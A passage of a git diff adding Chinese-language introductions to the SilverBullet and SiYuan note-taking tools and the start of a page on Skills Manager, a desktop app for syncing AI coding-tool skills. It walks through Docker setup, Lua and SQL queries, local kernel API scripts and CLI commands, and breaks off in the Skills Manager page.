+默认 Docker/本地常 **无认证**，局域网内任何人可访问——生产环境务必设 **`SB_USER=username:password`**。对外网暴露需 **TLS**（反向代理或官方 Configuration 文档中的 HTTPS 选项）。与 [[foam]]「纯本地 VS Code 扩展」不同，SilverBullet 是 **常驻 Web 服务**，适合树莓派、 homelab VPS、内网 NAS。
+
+---
+
+## 代码示例 1：Docker Compose 启动 Space
+
+官方推荐用 Compose 管理单容器服务。下面是最小可用配置（**务必改掉默认密码**）：
+
+```yaml
+# compose.yml — 与 SilverBullet 官方 Install/Docker 文档一致
+services:
+  silverbullet:
+    image: ghcr.io/silverbulletmd/silverbullet:latest
+    restart: unless-stopped
+    environment:
+      - SB_USER=admin:请改成强密码
+    volumes:
+      - ./space:/space
+    ports:
+      - "3000:3000"
+```
+
+```bash
+# 在 compose.yml 所在目录
+docker compose up -d
+docker compose logs -f
+
+# 浏览器打开 http://localhost:3000 ，用 SB_USER 登录
+# 笔记文件落在 ./space/*.md，可直接 git init 做版本管理
+```
+
+要点：
+
+- 镜像标签 `:latest` 稳定版，`:v2` 跟踪 main 最新提交（更激进）。
+- 容器内 `/space` 的 UID/GID 会跟 host 挂载目录对齐，减少权限踩坑。
+- 升级：`docker compose pull && docker compose up -d`；升级后客户端有时需 **刷新两次** 才完全切到新版本。
+
+---
+
+## 代码示例 2：Space Lua 定义 + 行内表达式
+
+在任意页面（或 `Library/` 下的库页）加入 **全局函数**：
+
+````markdown
+## 工具函数：两数相加
+
+```space-lua
+-- priority: 10
+function adder(a, b)
+  return a + b
+end
+```
+````
+
+同一 Space 任意页面可写：
+
+```markdown
+10 + 2 = ${adder(10, 2)}
+
+<!-- Alt+点击或选中表达式可看到源码 -->
+```
+
+再定义一个 **问候模板**（常见于 space-lua 块或配置页）：
+
+```space-lua
+greetings = greetings or {}
+greetings.sayHello = template.new[==[你好，${name}！今天是 ${date.today}。]==]
+```
+
+使用：`${greetings.sayHello { name = "小明" }}`
+
+这展示了 SilverBullet 的核心循环：**Markdown 存内容 → Lua 存逻辑 → `${}` 把逻辑渲染进页面**。
+
+---
+
+## 代码示例 3：SLIQ 查询未完成任务与最近页面
+
+**最近改动的 5 个页面**（首页 Dashboard 常用）：
+
+```markdown
+## 最近编辑
+
+${query[[
+  from p = index.pages()
+  order by p.lastModified desc
+  limit 5
+  select templates.pageItem(p)
+]]}
+```
+
+**全库未完成待办**（需任务被正确索引为 task object）：
+
+```markdown
+## 待办 inbox
+
+${query[[
+  from t = index.tag "task"
+  where not t.done
+  order by t.pageLastModified desc
+  limit 20
+  select templates.taskItem(t)
+]]}
+```
+
+**按 tag 统计**（发现标签使用是否失衡）：
+
+```markdown
+${query[[
+  from tag = index.tag "tag"
+  group by tag.name
+  select { tag = name, count = #group }
+  order by count desc
+  limit 10
+]]}
+```
+
+SLIQ 返回 Lua table；`select` 里用模板函数时，每一项会渲染成带链接的列表项——任务项甚至可 **勾选同步回源页面**（`templates.taskItem` 的行为以当前版本文档为准）。
+
+---
+
+## 代码示例 4：Slash 模板骨架（会议记录）
+
+创建页面 `Templates/Slash/meet.md`，元数据标记 slash 模板（具体 frontmatter/tag 以 v2 文档 **Template** 页为准），内容示例：
+
+```markdown
+# 会议 · ${date.today}
+
+**参与**：
+**议程**：
+
+## 决议
+
+- [ ]
+
+## 待办
+
+- [ ] @某人 — 事项 — 截止日期
+```
+
+保存后，编辑器输入 `/meet` 可在光标处插入上述结构。与 [[foam]] 的 `.foam/templates/` 类似，但 **命令名来自页面路径**，且可嵌 `${}` 动态日期。
+
+---
+
+## 与相近工具怎么选
+
+| 维度 | SilverBullet | [[foam]] | Obsidian |
+|------|--------------|----------|----------|
+| 运行形态 | 自托管 Web + PWA | VS Code 扩展 | 桌面/Electron |
+| 数据 | 文件夹 Markdown | 文件夹 Markdown | 本地库（含插件云同步） |
+| 编程扩展 | Space Lua + SLIQ 内建 | JS 模板 + 社区扩展 | 插件市场 |
+| 双向链接 | 有 | 有 | 有 |
+| 离线 | PWA 同步整库 | 纯本地 | 本地为主 |
+| 适合谁 | 想要 **可编程 PKM + 自托管** | 已在 VS Code 生态 | 插件丰富、开箱 UI |
+
+SilverBullet **不是** [[marktext]] 那种单机所见即所得编辑器；也 **不是** 团队协作 Wiki（如 Confluence）。它的 sweet spot 是：**一个人（或小家庭）** 把 Markdown 空间当成 **可查询、可脚本化的第二大脑**。
+
+---
+
+## 安装方式速览
+
+| 方式 | 说明 |
+|------|------|
+| **Docker / Compose** | 上文示例；GHCR 与 Docker Hub 均有镜像 |
+| **二进制** | 从 [Releases](https://github.com/silverbulletmd/silverbullet/releases) 下载，`./silverbullet /path/to/space` |
+| **在线试用** | [silverbullet.md](https://silverbullet.md) 可体验 PWA（数据在官方演示空间，勿放隐私） |
+| **开发构建** | 需 Node 24+、Go；`npm install && air /path/to/space` 或 `make build` |
+
+对外访问生产实例：**SB_USER**、**TLS**、定期 **备份 `/space`** 三件套不要省。
+
+---
+
+## 常用操作与快捷键（入门）
+
+- **Page Picker**：快速跳页（类似笔记 App 的全局搜索）。
+- **Command Palette**：注册命令与系统命令（含 Reload、Version）。
+- **System: Reload**：改 space-lua 后重载脚本而不整页刷新。
+- 文档站本身大量 `${widgets.commandButton(...)}` 演示——说明 **文档即 SilverBullet 页面**，meta 与产品一体。
+
+---
+
+## 学习路径建议
+
+1. **Day 1**：Docker 起 Space，写 3 页互相链接，熟悉 Live Preview 与 Page Picker。
+2. **Day 2**：加 Tasks、标签，写第一个 `${query[[ from p = index.pages() limit 5 ]]}` dashboard。
+3. **Day 3**：读 [Space Lua](https://v2.silverbullet.md/Space%20Lua) 与 [Integrated Query](https://v2.silverbullet.md/Space%20Lua/Integrated%20Query)，复制官方 Library 片段改一改。
+4. **Day 4**：做一个 Page Template + Slash Template，统一日记/项目页格式。
+5. **Week 2+**：`git init` 备份 space；需要时再研究 Plugs、HTTPS、多设备 PWA 安装。
+
+---
+
+## 常见问题
+
+**Q：和 Obsidian 比，值得迁吗？**  
+若你 **必须自托管**、喜欢 **内联 Lua/查询**、不想装 Electron，值得试。若依赖 Obsidian 插件生态或移动端体验，Obsidian 仍更成熟。
+
+**Q：space-lua 和「真 Lua」兼容吗？**  
+大体兼容，但有 [Quirks](https://v2.silverbullet.md/Space%20Lua/Quirks)；文档示例常用 ` ```lua ` 展示，**自己 Space 里要用 `space-lua`** 才会激活定义。
+
+**Q：多人协作呢？**  
+产品设计偏 **个人** Space；多人同时写同一文件需自行协调（Git 合并 Markdown）。不是 Google Docs 式实时协作。
+
+**Q：AI / LLM 政策？**  
+仓库 CONTRIBUTING 提到 [LLM Use policy](https://silverbullet.md/LLM%20Use)——贡献代码前建议阅读。
+
+---
+
+## 小结
+
+SilverBullet 把 **Markdown 文件**、**维基式链接** 和 **Space Lua + SLIQ** 绑在同一套自托管 Web 应用里：笔记不仅是给人读的，还可以 **查、算、模板化、命令化**。入门成本比 [[marktext]] 高（要跑服务、要学 `${query}`），但换来的是 **数据在握、行为可编程** 的个人知识系统——像给书房装上了索引卡片柜和一条可重复执行的小自动化流水线。
+
+**下一步**：Fork 官方 compose 示例，在 `./space` 里建 `Home.md` dashboard，把「最近页面 + 未完成任务」两个 SLIQ 块跑通，再按需加第一个 `/daily` slash 模板。
diff --git a/src/content/docs/projects/siyuan.md b/src/content/docs/projects/siyuan.md
new file mode 100644
index 000000000..56f2f212c
--- /dev/null
+++ b/src/content/docs/projects/siyuan.md
@@ -0,0 +1,411 @@
+---
+title: SiYuan — 国产块结构笔记
+来源: https://github.com/siyuan-note/siyuan
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+## 日常类比：把笔记本拆成「带编号的小卡片」，还能用 SQL 搜整间书房
+
+想象你在整理一间 **私人图书馆**，但不是按文件夹 `2024/项目/会议.md` 归档，而是：
+
+- 每一 **段落、标题、列表项、代码块** 都是一张独立 **卡片（块）**，卡片角上有全球唯一编号；
+- 卡片可以 **嵌套**（标题下挂段落，列表下挂子项），也可以 **互相引用**——你在 A 卡片写「见卡片 #xyz」，B 卡片会自动列出「谁引用了我」；
+- 整间书房的索引不是 Excel，而是一本 **SQLite 电话簿**：你可以问「所有标题里含缓存、且带 #review 标签的块在哪？」
+
+**思源笔记（SiYuan）** 就是这样一套 **本地优先的块结构笔记系统**（[siyuan-note/siyuan](https://github.com/siyuan-note/siyuan)）：Go 语言内核 + Electron 桌面端，数据落在工作空间的 **SQLite** 与 `.sy` 文档文件中；支持 **双链块引用**、大纲编辑、模板、插件、**内核 HTTP API**，并可 Docker **自托管** 同步。中文排版、社区与文档对国内用户友好，常被称作「国产 Notion + Obsidian 块模型」的折中路线。
+
+零基础路径：**安装桌面版 → 读用户指南笔记本 → 理解块与 `/` 菜单 → 试块引用与 SQL 面板 → 了解内核 API 与备份**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：Word 式长文档难重组，改结构等于重写
+
+思源把 **块（Block）** 作为最小单元：拖移块、折叠标题、超级块横向排版，都是在改「卡片顺序」而非剪切整篇 `.docx`。每个块有稳定 **ID**（形如 `20210912214605-uhi5gco`），引用 `((块ID))` 后，正文更新引用处仍指向同一块。
+
+### 痛点 2：文件夹笔记「只能单路径归档」，跨主题复用难
+
+与 Logseq、Notion 类似，思源支持 **块级双链** 与 **嵌入块**：同一结论可在「项目 A」「复习提纲」两处被引用或嵌入，而不复制正文。文档树提供 **人类可读路径（hpath）**，块 ID 提供 **精确锚点**。
+
+### 痛点 3：纯 Markdown 文件夹性能与查询能力有限
+
+思源在运行时维护 **SQLite 数据库**（`blocks`、`attributes`、`refs` 等表），UI 编辑实时落库；同时 `.sy` 文件保存在笔记本目录。高级用户可用 **SQL 查询面板** 或 `/api/query/sql` 做结构化检索——比全文搜索文件夹更可控。
+
+### 痛点 4：想要本地数据主权 + 可选多端同步
+
+默认 **数据在本地工作空间**（可整目录备份、Git 忽略二进制资源后部分版本化）。官方提供 **云端同步订阅**，也可 **Docker 自托管** 实现端到端加密同步，适合重视隐私、又需要 iOS/Android 客户端的用户。
+
+### 痛点 5：国产场景下的中文与社区
+
+界面、用户指南、论坛与插件市场以中文为主；内核 API 文档有 [API_zh_CN.md](https://github.com/siyuan-note/siyuan/blob/master/API_zh_CN.md)，社区文档在 [docs.siyuan-note.club](https://docs.siyuan-note.club)。
+
+---
+
+## 核心概念拆解
+
+### 1. 工作空间（Workspace）
+
+一次思源实例对应一个 **工作空间目录**，内含 `conf`、`data`（笔记本与资源）、`temp` 等。换电脑时 **拷贝整个工作空间** 或用官方同步迁移。入门时记住：**备份 = 备份工作空间**，不是单个 `.md` 导出文件。
+
+### 2. 笔记本（Notebook）与文档（Document）
+
+| 概念 | 说明 |
+|------|------|
+| **笔记本** | 顶层分区，类似「书柜」；可打开/关闭、排序、设图标 |
+| **文档** | 类型为 `d` 的 **文档块**，树形目录中的一页笔记 |
+| **hpath** | 人类可读路径，如 `/0 请从这里开始/编辑器/排版元素` |
+| **path** | 存储路径，如 `/20200812220555-lj3enxa/.../xxx.sy` |
+
+每日笔记路径可在笔记本配置里用 **Sprig 模板** 生成，例如 `/daily note/{{now | date "2006/01"}}/{{now | date "2006-01-02"}}`。
+
+### 3. 块（Block）——唯一重要的核心概念
+
+官方用户指南强调：**在思源中，唯一重要的核心概念是内容块。**
+
+- 每个块有 **ID**、**type**（主类型）、**subtype**（子类型）、**content** / **markdown** 字段；
+- 块通过 `parent_id` 形成树；**文档块** 的 `root_id` 指向自身；
+- 常见 type：`p` 段落、`h` 标题、`l` 列表、`c` 代码、`t` 表格、`s` 超级块、`d` 文档、`query_embed` 嵌入块等。
+
+块 ID 格式：`14位时间戳-7位随机串`，例如 `20210104091228-d0rzbmm`。
+
+### 4. Block（内核）vs Node（前端）
+
+| 层 | 名称 | 含义 |
+|----|------|------|
+| **后端** | Block | SQLite `blocks` 表中的一行 |
+| **前端** | Node | Protyle 编辑器 DOM 中的 `data-node-id` 元素 |
+
+开发插件时：改内容走 **内核 API**；读 DOM 用 **Node** 属性（`data-type`、`data-subtype`）。
+
+### 5. Protyle 编辑器
+
+**Protyle** 是「一整页文档的编辑对象」，包含：
+
+- **title**：文档标题区；
+- **wysiwyg**：所见即所得编辑区（由多个 Node 组成）；
+- **gutter**：块图标菜单（引用、复制、折叠等）。
+
+输入 **`/`** 可唤起 **Slash 菜单** 插入标题、列表、公式、模板、嵌入等块类型。
+
+### 6. 引用、嵌入与属性
+
+| 机制 | 写法 / 操作 | 作用 |
+|------|-------------|------|
+| **块引用** | `((20200813131152-0wk5akh "锚文本"))` | 指向具体块，支持动态锚文本 |
+| **文档引用** | `[[文档标题]]` | 链接到其他文档 |
+| **嵌入块** | 引用面板拖入或命令 | 他处内容嵌入当前文档 |
+| **块属性** | 命名、别名、备注、标签、自定义 `custom-*` | 检索、模板、导出 |
+| **属性表（av）** | 数据库视图块 | 表格化看板，类似 Notion Database |
+
+自定义属性通过 API 设置时必须 **`custom-` 前缀**。
+
+### 7. Kramdown 与 Markdown
+
+思源内部使用 **Kramdown** 方言（扩展 Markdown），例如行内样式可写：
+
+`foo**bar**{: style="color: var(--b3-font-color8);"}baz`
+
+导出、部分 API 也提供 GFM Markdown；**直接改 `.sy` 文件不如走 API 或 UI 安全**。
+
+### 8. 两套 API
+
+| API | 调用方 | 典型用途 |
+|-----|--------|----------|
+| **内核 API** | HTTP POST 到 `127.0.0.1:6806`（需 API Token） | 自动化、脚本、外部工具读写块 |
+| **插件 API** | 插件内 `require('siyuan')` / `fetchPost` | 扩展 UI、菜单、Dock、对话框 |
+
+返回值统一为 `{ "code": 0, "msg": "", "data": ... }`，`code !== 0` 表示异常。
+
+### 9. 同步、发布与 SQL 安全
+
+- **同步**：官方云或自建 Docker；工作空间可在多设备间一致。
+- **发布**：可导出静态站点；**发布模式下禁止 SQL API**，防止数据泄露。
+- **社区插件**：集市安装；开发见 [插件 Quick Start](https://siyuan-note.apifox.cn/6977345m0)。
+
+### 10. SiYuan 不是什么
+
+它不是 Git 原生 `.md` 仓库（虽然可导出 Markdown）；**运行时真相源是 SQLite + .sy**。也不是 Excel——属性表适合轻量结构化，复杂 BI 仍应导出到专用工具。入门优先掌握 **块、引用、笔记本、备份**，再碰 API 与 SQL。
+
+---
+
+## 安装与第一次打开
+
+### 桌面端（推荐）
+
+1. 打开 [GitHub Releases](https://github.com/siyuan-note/siyuan/releases) 或 [b3log.org/siyuan](https://b3log.org/siyuan/) 下载 macOS / Windows / Linux 安装包。
+2. 首次启动选择或创建工作空间目录（建议放在已有 Time Machine / 云盘备份的位置）。
+3. 打开内置 **「思源笔记用户指南」** 笔记本，阅读「内容块」「排版元素」章节。
+4. 新建文档，输入 `/` 试插入 **一级标题**、**待办列表**、**代码块**。
+5. 选中一段文字，用 **块引** 创建定义块，在另一处用 `((块ID))` 引用（UI 可自动生成 ID）。
+
+### 可选：Docker 自托管
+
+适合需要私有同步服务器的高级用户；镜像与 compose 示例见官方仓库 `Dockerfile` 与文档。零基础可先只用桌面本地模式。
+
+### API Token
+
+设置 → 关于 → **API token**，供脚本访问内核 HTTP API（默认端口 **6806**）。
+
+---
+
+## 代码示例 1：Python 调用内核 API 创建文档并插入块
+
+以下脚本假设思源已运行且已取得 API Token（勿提交到 Git）：
+
+```python
+#!/usr/bin/env python3
+"""通过思源内核 API 创建 Markdown 文档并在文末追加段落块。"""
+import json
+import urllib.request
+
+API = "http://127.0.0.1:6806"
+TOKEN = "your-api-token-here"  # 设置 → 关于 → API token
+
+def post(route: str, payload: dict) -> dict:
+    req = urllib.request.Request(
+        f"{API}{route}",
+        data=json.dumps(payload).encode(),
+        headers={
+            "Content-Type": "application/json",
+            "Authorization": f"Token {TOKEN}",
+        },
+        method="POST",
+    )
+    with urllib.request.urlopen(req) as resp:
+        body = json.loads(resp.read())
+    if body.get("code") != 0:
+        raise RuntimeError(body.get("msg") or body)
+    return body["data"]
+
+# 1) 列出笔记本，取第一个未关闭的 ID
+notebooks = post("/api/notebook/lsNotebooks", {})["notebooks"]
+notebook_id = next(nb["id"] for nb in notebooks if not nb["closed"])
+
+# 2) 用 Markdown 创建文档（path 为 hpath，以 / 开头）
+doc_id = post("/api/filetree/createDocWithMd", {
+    "notebook": notebook_id,
+    "path": "/inbox/siyuan-api-demo",
+    "markdown": "# API 演示\n\n由脚本创建于 2026-06-13。\n",
+})
+
+# 3) 在文档块末尾追加子块（appendBlock = 插入后置子块）
+post("/api/block/appendBlock", {
+    "dataType": "markdown",
+    "data": "第二段：**内核 API** 写入的段落块。",
+    "parentID": doc_id,
+})
+
+print("created doc id:", doc_id)
+```
+
+**阅读要点：**
+
+- `createDocWithMd` 的 `path` 若已存在 **不会覆盖**，适合幂等导入前先查重；
+- `appendBlock` 需要 **父块 ID**（文档块 ID 即可）；
+- 插入 sibling 块用 `insertBlock`，并指定 `previousID` / `nextID` / `parentID` 之一锚定位置。
+
+等价的 **curl** 片段（创建后插入块）：
+
+```bash
+curl -s -X POST "http://127.0.0.1:6806/api/block/insertBlock" \
+  -H "Authorization: Token $SIYUAN_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "dataType": "markdown",
+    "data": "插入在 previousID 之后的块",
+    "previousID": "20211229114650-vrek5x6",
+    "nextID": "",
+    "parentID": ""
+  }'
+```
+
+---
+
+## 代码示例 2：SQL 查询块 + 设置自定义属性
+
+思源 SQL 面板或 `/api/query/sql` 直接查询 `blocks` 表（发布模式禁用）。
+
+### 常用 SQL
+
+```sql
+-- 最近更新的 10 个段落块
+SELECT id, content, updated, hpath
+FROM blocks
+WHERE type = 'p'
+ORDER BY updated DESC
+LIMIT 10;
+
+-- 标题中含「缓存」的块
+SELECT id, markdown, hpath, tag
+FROM blocks
+WHERE type = 'h' AND content LIKE '%缓存%';
+
+-- 某文档下的所有一级标题
+SELECT id, content, subtype
+FROM blocks
+WHERE root_id = '20210817205410-2kvfpfn' AND type = 'h' AND subtype = 'h1';
+```
+
+### Python 执行查询并给结果块打标签
+
+```python
+import json
+import urllib.request
+
+API, TOKEN = "http://127.0.0.1:6806", "your-api-token-here"
+
+def post(route, payload):
+    req = urllib.request.Request(
+        f"{API}{route}",
+        data=json.dumps(payload).encode(),
+        headers={"Authorization": f"Token {TOKEN}", "Content-Type": "application/json"},
+        method="POST",
+    )
+    return json.loads(urllib.request.urlopen(req).read())
+
+rows = post("/api/query/sql", {
+    "stmt": "SELECT id, content FROM blocks WHERE tag LIKE '%待整理%' LIMIT 20",
+})["data"]
+
+for row in rows:
+    post("/api/attr/setBlockAttrs", {
+        "id": row["id"],
+        "attrs": {"custom-review-status": "queued"},
+    })
+
+print(f"tagged {len(rows)} blocks")
+```
+
+**阅读要点：**
+
+- `content` 为去 Markdown 标记的纯文本；完整语法看 `markdown` 列；
+- `tag` 字段含 `#标签#` 形式；文档块标签存在文档块上；
+- 自定义属性键必须 **`custom-` 前缀**，否则 API 可能拒绝或无法展示。
+
+---
+
+## 代码示例 3：插件内调用内核 API（TypeScript 片段）
+
+插件开发时在 `require('siyuan')` 后使用 `fetchPost`，无需手写 Token：
+
+```typescript
+import { fetchPost, openTab } from "siyuan";
+
+// 获取内核时间并在对话框展示
+fetchPost("/api/system/currentTime", {}, (response) => {
+  if (response.code !== 0) return;
+  const when = new Date(response.data).toLocaleString("zh-CN");
+  console.log("思源内核时间:", when);
+});
+
+// 打开指定 ID 的文档页签
+openTab({
+  app: this.app, // 插件实例的 app
+  doc: { id: "20210917220056-yxtyl7i" },
+});
+```
+
+块在 DOM 中大致形态（开发者工具可见）：
+
+```html
+<div data-node-id="20210104091228-d0rzbmm"
+     data-type="NodeHeading"
+     data-subtype="h1"
+     class="h1">
+  <div contenteditable="true">一级标题</div>
+</div>
+```
+
+**阅读要点：** `data-node-id` 即块 ID；插件可监听块菜单事件扩展「右键操作」，详见社区插件文档。
+
+---
+
+## Kramdown 笔记片段（编辑器内写法示意）
+
+下面是在思源中直接输入/粘贴的 **块内容** 示意（非独立 `.md` 文件）：
+
+```markdown
+# 间隔重复 vs 块结构笔记
+
+段落块可以包含 **加粗** 与行内代码 `SQL`。
+
+* 无序列表项 A
+  * 子项：双链 ((20200813131152-0wk5akh "在内容块中遨游"))
+* 待办 {: checked="false"}
+  [ ] 整理 [[思源笔记用户指南]] 的引用章节
+
+```sql
+SELECT id, content FROM blocks WHERE type = 'h' LIMIT 5;
+```
+```
+
+列表、待办、代码块在 UI 中由 `/` 菜单创建更稳妥；块引用 `((id "文本"))` 可在引用自动补全里生成。
+
+---
+
+## 推荐工作流（零基础 7 天）
+
+| 天 | 动作 | 目标 |
+|----|------|------|
+| 1 | 读用户指南「内容块」 | 理解块 ID、拖移、折叠 |
+| 2 | 每日笔记 + `/` 菜单 | 熟悉标题、列表、代码 |
+| 3 | 块引 + 反向链接面板 | 体验双链 |
+| 4 | 给块加标签、别名 | 检索与过滤 |
+| 5 | SQL 面板跑 `SELECT` | 理解 blocks 表 |
+| 6 | 导出 Markdown 备份一篇 | 互操作 |
+| 7 | 复制工作空间到备份盘 | 建立备份习惯 |
+
+---
+
+## 与相近工具对比（简表）
+
+| 维度 | SiYuan 思源 | Logseq | Obsidian |
+|------|-------------|--------|----------|
+| 核心单元 | 块 | 块 | 文件为主，插件可块化 |
+| 运行时存储 | SQLite + .sy | md/org 文件 或 DB 版 | .md 文件夹 |
+| 大纲编辑 | 原生 Protyle | 原生 | 需插件 |
+| 内置 SQL | ✅ blocks 表 | 高级 query | Dataview 插件 |
+| 中文社区 | 强 | 中 | 中 |
+| 开源 | ✅ AGPL | ✅ | 闭源免费 |
+
+若你从 **Logseq** 迁移：思维上都是块与双链；思源更强调 **数据库 + API**，纯文本 Git 友好度低于 Logseq 文件 graph。若从 **Notion** 迁移：属性表（av）更熟悉，但数据在本地工作空间而非云端专有格式。
+
+---
+
+## 常见问题
+
+**Q：块和文档到底是什么关系？**  
+文档是 type=`d` 的特殊块，也是子块的 `root_id`；一篇「页面」是一个文档块及其子孙块树。
+
+**Q：可以直接用 VS Code 编辑 `.sy` 吗？**  
+不建议；`.sy` 与索引库需一致，应通过 UI 或内核 API 修改，再定期 **导出 Markdown** 做外部只读备份。
+
+**Q：API 端口连不上？**  
+确认思源已启动、设置里启用 API、防火墙允许 **6806**；Docker 部署需映射端口。
+
+**Q：SQL 查询为空？**  
+检查笔记本是否打开、块 type 是否拼写正确（如 `h1` 在 `subtype` 不在 `type`）。
+
+**Q：同步冲突怎么办？**  
+优先官方文档「同步冲突」章节；重要数据 **先离线备份工作空间** 再合并。
+
+---
+
+## 延伸资源
+
+- 源码与路线图：[github.com/siyuan-note/siyuan](https://github.com/siyuan-note/siyuan)
+- 内核 API 中文：[API_zh_CN.md](https://github.com/siyuan-note/siyuan/blob/master/API_zh_CN.md)
+- 社区文档：[docs.siyuan-note.club](https://docs.siyuan-note.club/zh-Hans/reference/api/kernel/)
+- 数据库表说明：[blocks 表字段](https://siyuan-note.apifox.cn/6924361m0)
+- 插件开发：[插件 Quick Start](https://siyuan-note.apifox.cn/6977345m0)
+- 论坛：[ld246.com 思源板块](https://ld246.com/tag/siyuan)
+
+---
+
+## 小结
+
+思源笔记把 **块** 作为唯一核心：Protyle 负责所见即所得编辑，SQLite 负责检索与引用关系，内核 API 负责自动化。入门从 **用户指南 + 块引用 + 备份工作空间** 开始；进阶用 **SQL 与 Python/插件** 把笔记接进个人工作流。作为 **国产块结构笔记**，它在本地主权、中文体验与可编程性之间给出了清晰路线——**卡片式思维 + 数据库级查询**，而不只是又一个 Markdown 文件夹。
diff --git a/src/content/docs/projects/skills-manager-desktop.md b/src/content/docs/projects/skills-manager-desktop.md
new file mode 100644
index 000000000..8e5ca03d4
--- /dev/null
+++ b/src/content/docs/projects/skills-manager-desktop.md
@@ -0,0 +1,265 @@
+---
+title: Skills Manager — 一个桌面 App，统一管理 15+ AI 编程工具的 Skills
+来源: https://github.com/xingkongliang/skills-manager
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+# Skills Manager — 一个桌面 App，统一管理 15+ AI 编程工具的 Skills
+
+## 一、从"抽屉乱成一团"说起
+
+想象一下：你家里有很多房间——卧室、客厅、书房、厨房。每个房间里都有一个抽屉，用来放不同的工具。
+
+现在，你的电脑上装了不止一个 AI 编程助手：Claude Code、Cursor、GitHub Copilot、Codex……每个助手都有自己的"技能文件夹"（skills folder），里面放着各种 SKILL.md 配置文件。这些配置告诉 AI："遇到这类问题时，你应该怎么做。"
+
+问题来了：
+
+- 你在 Claude Code 里装了一个"代码审查"技能，想不想也在 Cursor 里用？手动复制一遍。
+- 你想给 15 个工具都加上同一个新技能，难道一个个打开文件夹、一个个粘贴？
+- 换了电脑，这些技能又要重新装一遍。
+
+这就像你每个房间都单独买了一把相同的锤子——而不是在储藏室里放一把，哪个房间需要就拎到哪。
+
+**Skills Manager 就是那个"智能储藏室"。** 一个桌面应用，让你在一个地方管理所有 AI 编程助手的技能，一键同步到任意工具。
+
+## 二、项目概况
+
+| 项目 | 说明 |
+|------|------|
+| 仓库 | [xingkongliang/skills-manager](https://github.com/xingkongliang/skills-manager) |
+| Star 数 | 2.2k+ |
+| 许可证 | MIT |
+| 技术栈 | 前端：React 19 + TypeScript + Vite + Tailwind CSS；桌面层：Tauri 2；后端：Rust；存储：SQLite |
+| 支持工具 | Cursor、Claude Code、Codex、Grok、OpenCode、Amp、Kilo Code、Roo Code、Goose、Gemini CLI、GitHub Copilot、Windsurf、TRAE IDE、Antigravity、Clawdbot、Droid，共 16+ 种 |
+
+一句话总结：这是一个用 Rust + Tauri 构建的跨平台桌面应用，帮你把分散在各个 AI 工具里的技能统一收拢到一个中心仓库里管理。
+
+## 三、核心概念
+
+理解 Skills Manager，最关键的是搞懂下面四个概念。它们之间的关系就像"总仓库 — 分发站 — 项目包 — 配方"。
+
+### 3.1 Central Library（中央库）
+
+这是你的"总仓库"。默认位于 `~/.skills-manager/`。所有技能都从这里安装、更新、搜索。无论技能来自 Git 仓库、本地文件夹、压缩包，还是 skills.sh 市场，最终都存放在这里。
+
+### 3.2 Global Workspace（全局工作区）
+
+每个 AI 工具有自己的"全局技能文件夹"。比如 Claude Code 的全局路径是 `~/.claude/skills/`。全局工作区列出某个工具文件夹里的所有内容——包括你用 Skills Manager 安装的，也包括你手动放进去的。你可以从这里添加、移除技能，或者用"All Agents"概览同时管理所有工具。
+
+### 3.3 Project Workspace（项目工作区）
+
+有些技能只想在特定项目里生效。比如在 `my-project/.claude/skills/` 下的技能，只对 `my-project` 这个文件夹里的代码起作用。项目工作区就是管理这些"项目本地技能"的地方。
+
+### 3.4 Preset（预设）
+
+预设是"可复用的技能组合"。你可以把一组技能命名为"React 开发套件"，然后在任何工作区点击这个预设，就能一键激活所有这些技能。注意：应用预设是一次性复制，不是实时同步。
+
+### 3.5 Tags（标签）
+
+给技能打标签用于分组和筛选。比如给一些技能打上"web"、"frontend"标签，然后用标签过滤快速找到它们。
+
+## 四、工作流程详解
+
+### 4.1 安装技能
+
+技能可以来自四个渠道：
+
+1. **本地文件夹** — 你电脑上的某个目录
+2. **Git 仓库** — 比如 `https://github.com/foo/bar.git`
+3. **压缩包** — `.zip` 或 `.skill` 文件
+4. **Marketplace** — [skills.sh](https://skills.sh) 在线市场，支持关键词搜索和 AI 搜索
+
+安装后，技能进入中央库。但此时它还没有同步到任何 AI 工具——你需要通过全局工作区或预设来"推送"。
+
+### 4.2 同步到工具
+
+有两种同步模式：
+
+- **Symlink（符号链接）** — 在工具的技能文件夹里创建一个指向中央库的快捷方式。节省空间，修改中央库即时生效。
+- **Copy（复制）** — 把技能文件实际复制到工具的技能文件夹。适合需要隔离的场景。
+
+每个技能卡片上会显示已启用的工具图标徽章。点击徽章即可为某个工具安装或移除该技能。
+
+### 4.3 项目工作区同步
+
+项目工作区可以把项目本地的技能与中央库做对比，然后双向同步——把中央库的新技能拉到项目里，或者把项目里特有的技能推回中央库。
+
+## 五、CLI 使用示例
+
+Skills Manager 除了桌面界面，还提供了一个命令行工具（CLI）。CLI 和桌面应用共享同一个 SQLite 数据库，所以两者可以同时使用。
+
+### 示例 1：安装技能并同步到 Claude Code
+
+```bash
+# 第一步：从 Git 仓库安装一个技能到中央库（不同步到工具）
+npm run cli -- skills install https://github.com/anthropics/agent-skills@best-practices
+
+# 第二步：查看已安装的技能列表
+npm run cli -- skills list
+
+# 第三步：将这个技能同步到 Claude Code
+npm run cli -- skills sync --tool claude_code
+```
+
+第一条命令把技能下载到中央库 `~/.skills-manager/`。第二条命令确认安装成功。第三条命令把技能复制或创建符号链接到 `~/.claude/skills/` 目录。
+
+### 示例 2：创建并使用预设
+
+```bash
+# 列出所有预设
+npm run cli -- presets list
+
+# 预览名为 "Default" 的预设包含哪些技能
+npm run cli -- presets preview Default
+
+# 将 "Default" 预设应用到所有已启用的工具
+npm run cli -- presets apply Default
+
+# 给预设添加一个新技能
+npm run cli -- presets add-skill Default react-best-practices
+
+# 从预设中移除一个技能
+npm run cli -- presets remove-skill Default legacy-auth
+
+# 再次应用，让变更生效
+npm run cli -- presets apply Default
+```
+
+预设的本质是一个命名好的技能集合。`apply` 命令会把预设中的所有技能一次性复制到目标工具的技能文件夹中。这不是一个"实时连接"——如果你之后从预设中添加或删除了技能，需要重新运行 `apply`。
+
+### 示例 3：Git 备份与恢复
+
+```bash
+# 查看中央库的 Git 状态
+npm run cli -- git status
+
+# 拉取远程的最新版本
+npm run cli -- git pull
+
+# 提交当前变更
+npm run cli -- git commit -m "chore: update skills"
+
+# 推送到远程仓库
+npm run cli -- git push
+
+# 查看所有历史快照
+npm run cli -- git versions
+
+# 恢复到某个快照
+npm run cli -- git restore <snapshot-tag>
+```
+
